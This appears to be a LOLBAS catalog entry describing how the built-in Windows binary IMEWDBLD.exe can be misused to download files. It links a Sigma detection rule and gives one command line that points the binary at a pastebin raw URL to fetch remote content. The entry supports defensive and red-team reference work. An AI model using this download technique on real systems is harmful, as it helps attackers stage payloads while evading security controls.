

/IMEWDBLD.exe

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Microsoft IME Open Extended Dictionary Module

Paths:

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe

Resources:

- <https://twitter.com/notwhickey/status/1367493406835040265>

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- Wade Hickey ([@notwhickey](#))

Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml

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IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe <https://pastebin.com/raw/tdyShwLw>

Use case: Download file from Internet

Privileges required: User

Operating systems: Windows 10, Windows 11

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